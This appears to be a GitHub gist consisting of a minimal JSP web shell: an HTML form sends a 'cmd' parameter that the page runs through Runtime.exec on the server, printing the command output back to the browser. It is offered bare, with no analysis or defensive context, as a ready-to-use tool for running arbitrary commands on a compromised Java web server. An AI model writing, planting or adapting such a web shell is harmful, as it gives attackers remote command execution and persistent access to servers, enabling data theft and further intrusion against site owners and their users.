Skip to content

Instantly share code, notes, and snippets.

@ziyahan
Created June 17, 2018 12:56
Show Gist options
  • Save ziyahan/e85d8811039ab1be06658e5de001dbaf to your computer and use it in GitHub Desktop.
Save ziyahan/e85d8811039ab1be06658e5de001dbaf to your computer and use it in GitHub Desktop.
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment